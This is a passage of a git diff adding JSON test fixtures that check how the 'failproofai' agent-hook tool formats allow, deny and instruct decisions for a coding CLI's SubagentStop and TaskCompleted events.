"stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..11deccd1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4397ee13 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..204e39ac --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6cfcba3f --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7c4b6b91 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..000f40c3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f751eb46 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ab3f2533 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1b1c142c --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6f531a1f --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3522b9db --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fb63c6a6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bd920567 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..8e726915 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..8a193eea --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..cc3b9abc --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e2941a6b --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1b4961f7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9dacdbec --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": 